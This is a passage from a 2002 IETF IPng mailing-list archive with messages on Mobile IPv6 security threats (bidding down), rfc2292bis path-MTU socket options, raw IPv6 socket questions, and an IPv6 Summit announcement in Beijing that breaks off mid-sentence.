User-Agent: Mutt/1.2i Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk I have a couple of comments / requests for clarification concerning this draft: As hinted in the draft [section 1], these future attacks are less urgent than vulnerabilities in ND. Nonetheless, it is assumed that these vulnerabilities should be fixed now (which seems like good policy). However, when we do become able to fix ND, I imagine we'll be better equiped to solve these vulnerabilities as well. I'm not necessarily stating we should give up, I'm just saying that we have a backup plan. Afterall, "It's easier to build a 4 inch lens and then a 6 inch lens then it is to build a 6 inch lens." Furthermore, since we do have a backup plan, there's no need for desperate measures. In the paragraph right before 2.1.1, Mallory is assumed to have overtaken a router. However, if Mallory is capable of this, there are plenty of other nastier exploits that it can use. It seems that the general bidding down problem is harder to solve than the specific case of mobility when the the tunnel between the MN and HA is encrypted [page 9]. Since this tunnel SHOULD be encrypted, perhaps we shouldn't go to great pains to solve the other cases. Namely, those wishing to not encrypt the tunnel between the MN and HA probably have recourse to other techniques for security. Also, since there appear to be no obvious solutions for the *general* bidding down problem, perhaps we should leave it unsolved until we get another concrete example of it. It seems difficult to imagine a "real-world" instance where the MN would request to use strong security, but be willing to accept weaker security (thus making itself susceptible to bidding down). At the very least, this decision should be something that the user is aware of (in the same way he is aware when SSL is being used by a Web browser). In section 3.2, number 4, perhaps someone could summarize the statement, "raises intellectual property concerns whose implications are not clear." I apologize for not being aware of these concerns. The second to last paragraph of page 13 is far too short. It doesn't answer the case where Mallory acts as a NAT (translating Alice's address in both directions, as Tony Hain has mentioned multiple times). Perhaps there are assumptions that I'm not aware of, but it'd be helpful if these were placed in this paragraph. Thank you all for your patience. -jj -- Users of C++ should consider hanging themselves rather than shooting their legs off--it's best not to use C++ simply as a better C. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Apr 5 23:49:35 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g367nYKL024888; Fri, 5 Apr 2002 23:49:34 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g367nYC3024887; Fri, 5 Apr 2002 23:49:34 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g367nUKL024880 for ; Fri, 5 Apr 2002 23:49:30 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id XAA04905 for ; Fri, 5 Apr 2002 23:49:31 -0800 (PST) Received: from shuttle.wide.toshiba.co.jp (shuttle.wide.toshiba.co.jp [202.249.10.124]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id AAA19568; Sat, 6 Apr 2002 00:49:29 -0700 (MST) Received: from localhost ([3ffe:501:4819:2000:200:39ff:fed9:21d7]) by shuttle.wide.toshiba.co.jp (8.11.6/8.9.1) with ESMTP id g367nJo22900; Sat, 6 Apr 2002 16:49:19 +0900 (JST) Date: Sat, 06 Apr 2002 16:49:20 +0900 Message-ID: From: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= To: Toerless Eckert Cc: matt@3am-software.com, Erik.Nordmark@sun.com, ipng@sunroof.eng.sun.com Subject: Re: rfc2292bis text proposal In-Reply-To: <20020405102605.J23226@cypher.cisco.com> References: <20020405102605.J23226@cypher.cisco.com> User-Agent: Wanderlust/2.6.1 (Upside Down) Emacs/21.1 Mule/5.0 (SAKAKI) Organization: Research & Development Center, Toshiba Corp., Kawasaki, Japan. MIME-Version: 1.0 (generated by SEMI 1.14.3 - "Ushinoya") Content-Type: text/plain; charset=US-ASCII X-Dispatcher: imput version 20000228(IM140) Lines: 63 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >>>>> On Fri, 5 Apr 2002 10:26:05 -0800, >>>>> Toerless Eckert said: > I would like to propose another section to rfc2292bis for the issue > of MTU path discovery with ipv6 multicast. The issue with the current > rfc2292bis draft is that path discovery is enabled by default on > ipv6 sockets and with ipv6 multicast this is something that applications > should shy away from much more than unicast fragmentation because of the > implosion of IGMP messages sent back to the source. ^^^^should be ICMP (snip) > For this reason, i would like to propose the following, and i am not > sure wether or not this could entirely be put into rfc2292bis or if > this would also be considered to be an architectural issue (i hope it > can really be claimed to be a socket behavior only issue and thus > rfc2292bis): I see your point. However, I'm not sure if we really need a new option to deal with this issue. An application can in fact avoid ICMP implosion by setting IPV6_USE_MIN_MTU. This only requires 4 (or a bit more) additional lines like: { int on = 1; if (setsockopt(sock, IPPROTO_IPV6, IPV6_USE_MIN_MTU, &on, sizeof(on))) /* error handling */; } Is it really a big deal to let programmers omit the additional lines, comparing to the complexity of adding a new socket option? My personal feeling is that it is enough to add some note which suggests setting IPV6_USE_MIN_MTU for sockets used to send multicast packets. Secondly, the proposed option "IPV6_MULTICAST_MTU_DISC" seems to me a bit ad-hoc. If we wanted to go with this path, I'd rather generalize the MTU-related option like as follows: - add a new socket option, say, "IPV6_PMTU_DISC", which takes an integer as an argument - the semantics of the argument is: + 0: let the kernel make a decision whether to perform path MTU discovery. the recommended way to make the decision is: fragment packets at the minimum MTU if the destination is a multicast address. otherwise, perform path MTU discovery. + 1: force the kernel to perform path MTU discovery + 2: specify the kernel to fragment packets at the minimum MTU (equivalent to IPV6_USE_MIN_MTU) + 3: specify the kernel not to fragment packets (equivalent to IPV6_DONTFRAG) - this option can also be used as an ancillary data item for per-packet control. - IPV6_USE_MIN_MTU and IPV6_DONTFRAG will be deprecated by the new IPV6_PMTU_DISC option. (There should have been a similar proposal before, but I don't recall the result of the discussion.) JINMEI, Tatuya Communication Platform Lab. Corporate R&D Center, Toshiba Corp. jinmei@isl.rdc.toshiba.co.jp -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Sat Apr 6 00:46:18 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g368kIKL024946; Sat, 6 Apr 2002 00:46:18 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g368kIoK024945; Sat, 6 Apr 2002 00:46:18 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g368kEKL024938 for ; Sat, 6 Apr 2002 00:46:14 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id AAA24609 for ; Sat, 6 Apr 2002 00:46:11 -0800 (PST) Received: from shuttle.wide.toshiba.co.jp (shuttle.wide.toshiba.co.jp [202.249.10.124]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id BAA25923 for ; Sat, 6 Apr 2002 01:46:10 -0700 (MST) Received: from localhost ([3ffe:501:4819:2000:200:39ff:fed9:21d7]) by shuttle.wide.toshiba.co.jp (8.11.6/8.9.1) with ESMTP id g368k4o23092; Sat, 6 Apr 2002 17:46:05 +0900 (JST) Date: Sat, 06 Apr 2002 17:46:04 +0900 Message-ID: From: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= To: David Lehmann Cc: ipng@sunroof.eng.sun.com Subject: Re: ICMP protocol filtering In-Reply-To: <3CA4CB17.5020901@ulticom.com> References: <3CA48F9A.9070509@ulticom.com> <3CA4B0C1.2090404@ulticom.com> <3CA4CB17.5020901@ulticom.com> User-Agent: Wanderlust/2.6.1 (Upside Down) Emacs/21.1 Mule/5.0 (SAKAKI) Organization: Research & Development Center, Toshiba Corp., Kawasaki, Japan. MIME-Version: 1.0 (generated by SEMI 1.14.3 - "Ushinoya") Content-Type: text/plain; charset=US-ASCII X-Dispatcher: imput version 20000228(IM140) Lines: 28 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >>>>> On Fri, 29 Mar 2002 15:14:15 -0500, >>>>> David Lehmann said: >> Yes, anyone can basically raise their own requests at any time, but >> whether the requests are accepted or not depends on the timing...IMO, >> just saying "this could be useful" cannot be a reason to adopt the >> request at this stage, and, honestly, I don't see much benefit of >> the idea comparing to the status of the document. (But, of course, I >> may be wrong or be biased, so I'll hear from others' opinions for a >> while.) > I agree that my sole opinion is not enough to adopt a change. I've been watching the list for a while, but there has been no positive support for the proposal (except for the original request). So I'd like to conclude that the requested feature will not be added to the rfc2292bis spec. (Actually there has been no strong objection either. But I believe the decision above is fair, considering the current status of the draft.) JINMEI, Tatuya Communication Platform Lab. Corporate R&D Center, Toshiba Corp. jinmei@isl.rdc.toshiba.co.jp -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Sat Apr 6 05:55:38 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g36DtcKL025249; Sat, 6 Apr 2002 05:55:38 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g36Dtc75025248; Sat, 6 Apr 2002 05:55:38 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g36DtZKL025241 for ; Sat, 6 Apr 2002 05:55:35 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id FAA06192 for ; Sat, 6 Apr 2002 05:55:37 -0800 (PST) Received: from laposte.enst-bretagne.fr (laposte.enst-bretagne.fr [192.108.115.3]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id GAA03055 for ; Sat, 6 Apr 2002 06:55:32 -0700 (MST) Received: from rsm.rennes.enst-bretagne.fr (rsm.rennes.enst-bretagne.fr [192.44.77.1]) by laposte.enst-bretagne.fr (8.11.6/8.11.6) with ESMTP id g36DtDA10691; Sat, 6 Apr 2002 15:55:13 +0200 Received: from givry.rennes.enst-bretagne.fr (givry.rennes.enst-bretagne.fr [193.52.74.194]) by rsm.rennes.enst-bretagne.fr (8.8.8/8.8.8) with ESMTP id PAA01481; Sat, 6 Apr 2002 15:55:13 +0200 (MET DST) Received: from givry.rennes.enst-bretagne.fr (localhost.rennes.enst-bretagne.fr [127.0.0.1]) by givry.rennes.enst-bretagne.fr (8.11.3/8.11.3) with ESMTP id g36Dt9g44975; Sat, 6 Apr 2002 15:55:13 +0200 (CEST) (envelope-from dupont@givry.rennes.enst-bretagne.fr) Message-Id: <200204061355.g36Dt9g44975@givry.rennes.enst-bretagne.fr> From: Francis Dupont To: =?iso-8859-2?Q?Damir_Bilajbegovi=E6?= cc: ipng@sunroof.eng.sun.com Subject: Re: Authentication, Authorization and Accounting (aaa) In-reply-to: Your message of Thu, 04 Apr 2002 18:57:28 +0200. <002e01c1dbf9$ce6d6520$378c1dc3@damirstaticni> Date: Sat, 06 Apr 2002 15:55:09 +0200 X-Virus-Scanned: by amavisd-milter (http://amavis.org/) at enst-bretagne.fr Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk In your previous mail you wrote: For my university I must implement Authentication, Authorization and Accounting for Mobile IPv6. What is the simplest way to do it and what documents I must read. => draft-le-aaa-mipv6-requirements-00.txt Regards Francis.Dupont@enst-bretagne.fr -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Sun Apr 7 21:08:47 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3848lmF027864; Sun, 7 Apr 2002 21:08:47 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3848lWB027863; Sun, 7 Apr 2002 21:08:47 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3848imF027856 for ; Sun, 7 Apr 2002 21:08:44 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id VAA12554 for ; Sun, 7 Apr 2002 21:08:46 -0700 (PDT) Received: from Mistralsoftware.com (ptil-245-146-ban.primus-india.net [203.196.146.245] (may be forged)) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id WAA18856 for ; Sun, 7 Apr 2002 22:08:42 -0600 (MDT) Received: from arun [192.168.15.76] by mistralsoftware.com [192.168.10.12] with SMTP (MDaemon.PRO.v5.0.0.R) for ; Mon, 08 Apr 2002 09:47:07 +0530 Message-ID: <004401c1ded9$7c74bf60$4c0fa8c0@satyam.net.in> From: "Arun" To: Subject: forward progress reg Date: Mon, 8 Apr 2002 09:43:41 +0100 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0041_01C1DEE1.DE209650" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-MDRemoteIP: 192.168.15.76 X-Return-Path: arun@mistralsoftware.com X-MDaemon-Deliver-To: ipng@sunroof.eng.sun.com Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk This is a multi-part message in MIME format. ------=_NextPart_000_0041_01C1DEE1.DE209650 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi all, =20 I am pretty new to this working group. I have a question = regarding forward progress described in the RFC 2461. At what instance = of a connection , TCP or anyother connection oriented protocol will = inform the IP about a forward in progress?.=20 RFC 2461 says=20 " When possible, upper-layer protocols provide a positive confirmation = that a connection is making "forward progress", that is, previously = sent data is known to have been delivered correctly (e.g., new = acknowledgments were received recently). " What time should IP expect this hints from the upper layer protocol = ? Will it be with all the packets sent from the upper layer or do we = have any mechanism like a setsockopt () so that the upper layer can = inform the IP about the forward progress? Please help. Thank You in advance (Arun Jose) ------=_NextPart_000_0041_01C1DEE1.DE209650 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
 Hi = all,
   =20    
        I am pretty new = to this=20 working group. I have a question regarding  forward progress described in the RFC 2461. At=20 what instance of a connection , TCP or anyother connection = oriented=20 protocol will inform the IP about a forward in progress?.
 
RFC 2461 says =
 
" =20 When possible, upper-layer protocols provide a positive confirmation = that a=20 connection is making "forward progress", that is,  previously sent = data is=20 known to have been delivered correctly (e.g.,   new = acknowledgments=20 were received recently).  "
    What=20 time should IP expect this hints from the upper layer protocol ? Will it = be with=20 all the packets sent from the upper layer or do we have any = mechanism like=20 a setsockopt () so that the upper layer can inform the IP about the = forward=20 progress? Please help.
 
 
Thank You in=20 advance
 
(Arun = Jose)
 
------=_NextPart_000_0041_01C1DEE1.DE209650-- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Apr 8 01:30:40 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g388UemF028311; Mon, 8 Apr 2002 01:30:40 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g388Udrc028310; Mon, 8 Apr 2002 01:30:39 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g388UamF028303 for ; Mon, 8 Apr 2002 01:30:36 -0700 (PDT) Received: from nwkea-mail-2.sun.com ([192.18.42.14]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id BAA22536 for ; Mon, 8 Apr 2002 01:30:38 -0700 (PDT) Received: from d12lmsgate-2.de.ibm.com (d12lmsgate-2.de.ibm.com [195.212.91.200]) by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id BAA13066 for ; Mon, 8 Apr 2002 01:30:37 -0700 (PDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate-2.de.ibm.com (1.0.0) with ESMTP id KAA201402; Mon, 8 Apr 2002 10:30:24 +0200 Received: from collon.zurich.ibm.com (collon.zurich.ibm.com [9.4.16.143]) by d12relay02.de.ibm.com (8.11.1m3/NCO/VER6.00) with SMTP id g388UMH21728; Mon, 8 Apr 2002 10:30:22 +0200 Received: from dhcp22-167.zurich.ibm.com by collon.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03) id AA31936 from ; Mon, 8 Apr 2002 10:30:17 +0200 Message-Id: <3CB15500.535A359A@hursley.ibm.com> Date: Mon, 08 Apr 2002 10:29:52 +0200 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U) X-Accept-Language: en,fr Mime-Version: 1.0 To: gab@sun.com Cc: Pekka Nikander , "Hesham Soliman (ERA)" , Jari Arkko , ipng@sunroof.eng.sun.com, Erik Nordmark Subject: Re: Using "a bit" as a protection against bidding down / for somethingelse References: <4DA6EA82906FD511BE2F00508BCF053802C6ABC8@Esealnt861.al.sw.ericsson.se> <3CAB0F1F.CE9DB679@hursley.ibm.com> <3CAB1D1D.6000803@nomadiclab.com> <3CAC1947.7D1C7123@hursley.ibm.com> <3CAC20D3.82C53628@sun.com> <3CAD72CF.D3F738EF@hursley.ibm.com> <3CAD7894.BEF29329@sun.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk gabriel montenegro wrote: > > Brian E Carpenter wrote: > > > Pekka Nikander wrote: > > ... > > > Step 1. Detect if the client wants to use the default > > > authorization mechanism, i.e. RR, or something > > > stronger. > > > > gabriel montenegro wrote: > > .... > > > > > > Think of "strong" addresses as expressing 2 things to the peer: > > > > > > "(1) I do not engage in redirection operations on my address, or, if I do, > > > (2) I only do so with cryptographically strong mechanisms in which I will prove to your > > > satisfaction that I do have authorization to use that address" > > > > I agree that embedding this semantics in the address is a way of achieving Step 1. > > But after reading lots of mail, and a preview (thanks!) of Gabriel's draft, > > I'm still stuck, as Tony Hain seems to be, on why this is the only way. > > It's not. We added some text at the beginning of section 3.2 of the draft to mention > other ways of doing it, but we may have missed one to clarify your question above. > But I have a question for you: when you say that it's enough to put > the bit in the packet (instead of the address) which of the two are you > implying?: > > 1. Don't see what residual threats there are. > 2. I see the residual threats, but I think we can live with them. > > If it's 2, then, cool, we can agree to disagree, end of thread. > If it's 1, then we can continue. I think it's 3. I see the residual threats, and I think it's illusory to believe that overloading the address significantly reduces them (for why, see Tony Hain's messages of the last couple of days). BTW you are of course correct to insist on the non-existence of an effective PKI for this domain. Brian -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Apr 8 02:31:49 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g389VnmF028450; Mon, 8 Apr 2002 02:31:49 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g389VnIx028449; Mon, 8 Apr 2002 02:31:49 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g389VkmF028442 for ; Mon, 8 Apr 2002 02:31:46 -0700 (PDT) Received: from nwkea-mail-1.sun.com ([192.18.42.13]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA28322 for ; Mon, 8 Apr 2002 02:31:48 -0700 (PDT) Received: from web14809.mail.yahoo.com (web14809.mail.yahoo.com [216.136.224.230]) by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with SMTP id CAA21286 for ; Mon, 8 Apr 2002 02:31:48 -0700 (PDT) Message-ID: <20020408093148.10473.qmail@web14809.mail.yahoo.com> Received: from [203.196.146.243] by web14809.mail.yahoo.com via HTTP; Mon, 08 Apr 2002 02:31:48 PDT Date: Mon, 8 Apr 2002 02:31:48 -0700 (PDT) From: Arun Jose Subject: Forward Progress Reg: To: ipng@sunroof.eng.sun.com MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="0-353687822-1018258308=:10095" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk --0-353687822-1018258308=:10095 Content-Type: text/plain; charset=us-ascii Hi all, I am pretty new to this working group. I have a question regarding forward progress described in the RFC 2461. At what instance of a connection , TCP or anyother connection oriented protocol will inform the IP about a forward in progress?. RFC 2461 says " When possible, upper-layer protocols provide a positive confirmation that a connection is making "forward progress", that is, previously sent data is known to have been delivered correctly (e.g., new acknowledgments were received recently). " What time should IP expect this hints from the upper layer protocol ? Will it be with all the packets sent from the upper layer or do we have any mechanism like a setsockopt () so that the upper layer can inform the IP about the forward progress? Please help. Thank You in advance (Arun Jose) --------------------------------- Do You Yahoo!? Yahoo! Tax Center - online filing with TurboTax --0-353687822-1018258308=:10095 Content-Type: text/html; charset=us-ascii

Hi all,
       
        I am pretty new to this working group.
 I have a question regarding  forward progress described in the RFC 2461.
At what instance of a connection , TCP or anyother connection oriented protocol
will inform the IP about a forward in progress?.

RFC 2461 says

"  When possible, upper-layer protocols provide a positive confirmation that
a connection is making "forward progress", that is,  previously sent data is
known to have been delivered correctly
(e.g.,   new acknowledgments were received recently).  "

 What time should IP expect this hints from the upper layer protocol ?
 Will it be with all the packets sent from the upper layer or
do we have any mechanism like a setsockopt () so that the upper layer can
inform the IP about the forward progress? Please help.


Thank You in advance

(Arun Jose)



Do You Yahoo!?
Yahoo! Tax Center - online filing with TurboTax --0-353687822-1018258308=:10095-- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Apr 8 05:24:35 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g38COZmF028807; Mon, 8 Apr 2002 05:24:35 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g38COZwx028806; Mon, 8 Apr 2002 05:24:35 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g38COWmF028799 for ; Mon, 8 Apr 2002 05:24:32 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id FAA23348 for ; Mon, 8 Apr 2002 05:24:34 -0700 (PDT) Received: from web21307.mail.yahoo.com (web21307.mail.yahoo.com [216.136.128.232]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with SMTP id GAA29189 for ; Mon, 8 Apr 2002 06:24:33 -0600 (MDT) Message-ID: <20020408122432.61140.qmail@web21307.mail.yahoo.com> Received: from [144.16.64.4] by web21307.mail.yahoo.com via HTTP; Mon, 08 Apr 2002 05:24:32 PDT Date: Mon, 8 Apr 2002 05:24:32 -0700 (PDT) From: user user Subject: raw ipv6 sockets - sin6_scope_id To: ipng@sunroof.eng.sun.com MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk hello, what should be filled in the sin6_scope_id field of the sockaddr_in6 structure ? Is it the interface index ? If yes, how do I determine the interface index of my ethernet card ? ifconfig says: Scope:Link ------ I need it bcoz I'm trying to send a msg over raw ipv6 sockets and the sendto() function gives the following error at run-time: invalid argument ------- Does anyone know of pointers to example programs for ipv6 raw sockets ? waiting for QUICK responses, thanks in advance. __________________________________________________ Do You Yahoo!? Yahoo! Tax Center - online filing with TurboTax http://taxes.yahoo.com/ -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Apr 8 05:48:35 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g38CmYmF028946; Mon, 8 Apr 2002 05:48:34 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g38CmYYi028945; Mon, 8 Apr 2002 05:48:34 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g38CmVmF028938; Mon, 8 Apr 2002 05:48:31 -0700 (PDT) Received: from nwkea-mail-2.sun.com ([192.18.42.14]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id FAA16908; Mon, 8 Apr 2002 05:48:34 -0700 (PDT) Received: from mail1.beijingnet.com ([202.136.254.1]) by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id FAA11885; Mon, 8 Apr 2002 05:48:27 -0700 (PDT) Received: from huaning ([202.106.17.121]) by mail1.beijingnet.com (8.8.8+2.7Wbeta7/3.6W) with SMTP id UAA10224; Mon, 8 Apr 2002 20:52:38 +0800 (CST) Message-ID: <007e01c1defb$a43922d0$79116aca@huaning> From: "Hua Ning" To: "IPv6 Forum Members" , "ipng" , "ngtrans" Subject: Global IPv6 Summit in Beijing , China on 9-11 May Date: Mon, 8 Apr 2002 20:48:10 +0800 MIME-Version: 1.0 Content-Type: text/plain; charset="gb2312" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from base64 to 8bit by sunroof.eng.sun.com id g38CmVmG028939 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Dear IPv6 folks : I am honored to announce that IPv6 Summit'll be held for the first time in China. The development of IPv6 is of special significance to China in that both the numbers of its Internet subscribers and mobile users are expected to reach 300 million by the year 2005. This calls for an urgent need to satisfy the tremendous demand for global IP address. The theme of the event is: ¡°Commercialize IPv6¡±, which focuses on latest industry and technology developments in IPv6 field. The event gets so much attentions and supports from IPv6 community and industry that it's really beyond my original expectation. I got so many qualified speech application that I have to break this Summit into lots of sessions to accomodate them, there'll be three different sessions to be held simultaneously in the second day of the Summit. More than 55 speeches will be presented , The number of audiences is expected to exceed 1500. The summit also features a IPv6 demonstration, without doubts, it'll be the largest one in the Forum's history. Nokia (Mobile IPv6) Hitachi (Hardware-forwarding IPv6 core router and edge router) NEC (Hardware-forwarding IPv6 core router and edge router) HP (IPv6-enable HP-UX and services) Bell Labs (IPv6 router, NAT-PT router, Mobile IPv6) 6Wind (IPv6 router) Spirent(IPv6-enable Smartbits and AX4000) Centercom(Enterprise IPv6 router) Jiaxun Feihong (Enterprise IPv6 router) Panasonic (IPv6 appliance) ............. ............. The size is still growing. Besides, two small special session is going to be held along with the summit, 